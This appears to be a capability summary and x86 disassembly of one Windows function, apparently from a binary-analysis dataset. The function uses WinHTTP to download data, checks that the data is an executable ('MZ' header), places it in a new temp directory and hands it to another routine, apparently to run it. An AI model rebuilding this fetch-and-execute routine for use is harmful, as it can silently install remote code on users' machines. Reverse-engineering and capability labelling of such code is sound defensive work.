Function at 0x402d10
Capabilities:
Create directory
Delete directory
Delete file
Get common file path
Initialize winhttp library

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
xor esi, esi
push esi
push esi
push esi
push esi
xor bl, bl
push 0x4055c8
mov byte [esp + 0x23], bl
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov ebp, eax
mov dword [esp + 0x18], ebp
cmp ebp, esi
je 0x402f58
mov ebx, dword [esp + 0x30]
push ebx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 2
push esi
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x34]
push eax
push ebp
mov dword [esp + 0x34], esi
mov dword [esp + 0x40], esi
mov dword [esp + 0x3c], 0x407480
call fcn.00402cc0
add esp, 0x20
test al, al
je 0x402f36
cmp dword [ebx], esi
je 0x402d86
mov byte [esp + 0xf], 1
jmp 0x402f36
mov esi, dword [esp + 0x20]
push edi
cmp esi, 2
jne 0x402f2b
mov edi, dword [esp + 0x18]
cmp edi, esi
jle 0x402f2b
mov ax, word [esp + 0x14]
cmp al, 0x4d
jne 0x402f27
cmp ah, 0x5a
jne 0x402f27
cmp word [0x9178e0], 0
je 0x402dcd
push 0x9178e0
call fcn.00401ab0
add esp, 4
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
test ebp, ebp
je 0x402f1a
cmp edi, 2
mov cl, byte [esp + 0x14]
mov byte [ebp], cl
mov dl, byte [esp + 0x15]
mov byte [ebp + 1], dl
jle 0x402e77
lea ebx, [ebx]
mov eax, edi
sub eax, esi
cmp eax, 0xc800
mov dword [esp + 0x24], 0
jle 0x402e18
mov eax, 0xc800
push ebx
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x20]
push edx
mov edx, dword [esp + 0x28]
push eax
push esi
lea eax, [esi + ebp]
push eax
lea ecx, [esp + 0x38]
push ecx
push edx
call fcn.00402cc0
add esp, 0x20
test al, al
je 0x402e5f
cmp dword [ebx], 0
jne 0x402e69
add esi, dword [esp + 0x24]
cmp word [0x9178e0], 0
je 0x402e5f
push 0x9178e0
call fcn.00401ab0
add esp, 4
mov edi, dword [esp + 0x18]
cmp esi, edi
jl 0x402e00
jmp 0x402e77
push 0x18
call fcn.00401950
mov edi, dword [esp + 0x1c]
add esp, 4
cmp esi, edi
jne 0x402f04
push 0x9ad438
push 0x280a
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x9ad438
push 0
push 0x4055c4
push 0x9ad438
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x9ad438
call ebx
push 0
push 0x9ad438
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov esi, dword [esp + 0x30]
push 0x9ad438
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
mov eax, dword [esp + 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
push edi
push ebp
call fcn.004026e0
add esp, 0xc
mov byte [esp + 0x13], al
test al, al
jne 0x402f04
push esi
call ebx
push 0x9ad438
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebp, dword [esp + 0x1c]
jmp 0x402f35
push 0x17
call fcn.00401950
mov ebp, dword [esp + 0x20]
jmp 0x402f32
push 0x19
jmp 0x402f2d
push 0x16
call fcn.00401950
add esp, 4
pop edi
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ecx, dword [esp + 0x1c]
push ecx
push 0x407480
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov al, byte [esp + 0xf]
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
push 9
call fcn.00401950
add esp, 4
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x18
ret